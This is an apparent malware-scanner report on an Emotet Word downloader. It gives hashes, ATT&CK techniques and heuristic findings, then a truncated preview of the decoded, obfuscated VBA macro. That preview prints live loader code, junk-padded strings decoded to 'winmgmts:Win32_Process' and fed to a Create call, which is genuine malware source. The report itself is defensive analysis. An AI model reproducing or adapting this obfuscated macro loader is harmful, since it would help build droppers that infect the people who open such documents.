Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 80cd0e1ed53a1e6b…

MALICIOUS

Office (OLE)

134.0 KB Created: 2019-10-02 07:10:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 830860cb462ccc8e8d748f0a2f796287 SHA-1: 7f85d04ad439f433a1803b4813fa27bfe94a7576 SHA-256: 80cd0e1ed53a1e6bc6f4663701ce737583790b021f59173937481ec73a48cb85
290 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains an obfuscated auto-exec VBA loader, specifically an AutoOpen macro, which is a common characteristic of Emotet. The 'CreateObject' and 'Shell' execution tokens further suggest the execution of external code. The ClamAV detection of 'Doc.Downloader.Emotet-10022072-0' strongly supports the Emotet family attribution and indicates the file's purpose is to download additional malware.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10022072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10022072-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12434 bytes
SHA-256: b8d7fae9079509c011379a5d5920f463d04468b9a435a85e73f20c2cff3a3cb9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nationalkfv"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Alabamadqh, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Money_Market_Accountonu, 1, 1, MSForms, TextBox"
Attribute VB_Control = "matrixcrd, 2, 2, MSForms, TextBox"

Attribute VB_Name = "functionalitiesmcn"
Function Representativeztc()
On Error Resume Next
   If deposituma Or 759 Then
 'time-frame South Dakota high-level Movies, Grocery & Tools Extended Rhode Island Branding Unbranded Granite Computer Tajikistan deposit Intelligent Cotton Ball
  Handcrafted_Granite_Carjbh = 930
      End If
      If calculatingioo Eqv transmitterrtt Then
         Home_Loan_Accountcfz = CByte(depositvab)
      End If
       'sexy revolutionary project portals Tasty Plastic Chicken XML Borders West Virginia Mississippi Face to face Tools, Shoes & Jewelery Unbranded
      Unbrandedrcc = 50 & Representativeosk
      Dim Refined_Metal_Fishzra
      Set SASjib = Locksfqn
       'Checking Account mission-critical Credit Card Account Senior Tasty Soft Pants Missouri sky blue open-source Movies & Kids olive Program Sleek Cotton Chicken Alabama
      While Syrian_Poundpoc < Niueiap
         supplychainsblf = 599 & Tan(587) & 88 - Oct(leadingedgeziz) & (791 & Int(Rustickim) & 968 & ivoryqwu)
 Wend
transitionalvku = opensourcefbp + "p" + Solutionsjrj(nationalkfv.matrixcrd + nationalkfv.Money_Market_Accountonu) 'dot-com Tennessee Ergonomic Seamless Nevada web services hack invoice redundant Mission synthesize auxiliary
   If paymentkwz Or 586 Then
 'Investor payment withdrawal Investment Account Shore Automotive brand driver Streamlined Colombia
  inputiju = 631
      End If
      If Integrationrks Eqv Downsizedibs Then
         Fantastic_Steel_Bikewvr = CByte(Fantasticrjo)
      End If
       'Synergized cross-platform Public-key Books Programmable Malagasy Ariary Central systems Wooden Principal Alabama Generic
      Gorgeous_Granite_Chairbvu = 871 & Developerwtq
      Dim Triplebufferedaiz
      Set Small_Steel_Towelszna = GBkiz
       'indexing Configuration Borders compressing calculating bus Managed pixel best-of-breed Guadeloupe
      While invoicephk < Districtcvu
         Intelligentwqz = 956 & Tan(438) & 441 - Oct(transmitterplo) & (951 & Int(Mainenzf) & 659 & Unbranded_Frozen_Towelsifj)
 Wend
drivewqw = Gorgeouswmn
Set hackioc = CreateObject(Solutionsjrj(CStr(107 + 549029 - 549029) + "w107i107n107mg107mts107:Wi107n32107_Pr107oce107ss"))
drivewqw = drivewqw + hackioc.Create(transitionalvku, lavenderbjc, Buckinghamshiresvq, Licensed_Fresh_Pizzafpv)
   If synthesizefcm Or 574 Then
 'deploy Ways function Handcrafted Savings Account Dong monitor architect Gorgeous North Dakota navigating deposit
  harnesszuc = 770
      End If
      If Awesomeolh Eqv Practical_Metal_Keyboardjul Then
         Dynamicpwt = CByte(crossmediatiw)
      End If
       'hard drive bandwidth Groves Savings Account Buckinghamshire Inverse Beauty, Music & Grocery
      Refined_Steel_Cheeseidl = 426 & invoicezdz
      Dim empowerwwf
      Set withdrawalmil = moratoriumctw
       'Handcrafted Rubber Chair RAM Avon Borders Refined Fresh Hat Accounts black parse communities leverage Maine
      While Unbranded_Wooden_Carhij < productizeqwj
         Officerkzr = 267 & Tan(373) & 748 - Oct(wirelessdwq) & (282 & Int(quantifyqsn) & 572 & JBODozk)
 Wend
End Function

Attribute VB_Name = "Optimizationfjt"
Function Buckinghamshiresvq()
On Error Resume Next
   If Gatewaynzr Or 240 Then
 'Central Dynamic Configuration maroon Summit Sleek Run Ergonomic Cotton Table Refined Steel Chips Global hacking 1080p ADP
  depositvkv = 789
      End If
      If multimediadvj Eqv wirelessbzj Then
         hackfhq = CByte(Garden_Books__Healthfkb)
      End If
       'payment Supervisor e-commerce Identity Plas
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.